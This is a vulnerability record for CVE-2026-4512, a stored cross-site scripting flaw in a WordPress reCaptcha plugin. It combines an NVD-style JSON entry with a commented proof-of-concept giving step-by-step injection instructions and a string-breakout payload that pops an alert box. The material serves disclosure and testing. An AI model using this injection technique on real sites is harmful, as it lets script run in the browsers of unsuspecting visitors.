CVE-2026-4512

// PoC Payload for CVE-2026-4512 // This payload is designed to be injected into the 'Site Key' field // within the plugin settings. // Step 1: Log in as an Administrator on a WordPress Multisite installation. // Step 2: Navigate to Settings > reCaptcha by WebDesignBy. // Step 3: Find the 'Site Key' input field. // Step 4: Enter the following payload: var malicious_payload = '"; alert("CVE-2026-4512 - XSS Executed"); var x="'; // Explanation: // The double quote (") closes the existing JavaScript string context in the source code. // The semicolon (;) terminates the statement. // The alert() function executes the proof-of-concept JavaScript. // The var x=" part starts a new string to balance the syntax, preventing immediate JS errors that might stop execution. // Step 5: Save the settings. // Step 6: Visit the WordPress login page (/wp-login.php) as a regular visitor. // Observation: The alert box should appear, indicating successful script execution.

{"cve": {"id": "CVE-2026-4512", "sourceIdentifier": "[email protected]", "published": "2026-04-23T07:16:41.933", "lastModified": "2026-04-23T18:16:30.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The reCaptcha by WebDesignBy WordPress plugin before 2.0 does not sanitize or escape the Site Key setting before outputting it in a JavaScript string context via the grecaptcha_js() function. This allows administrators on multisite installations (who do not have the unfiltered_html capability) to inject arbitrary JavaScript that executes for all visitors to the WordPress login page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wpscan.com/vulnerability/6dfb4378-fe6a-4462-af10-8e7504e3d593/", "source": "[email protected]"}]}}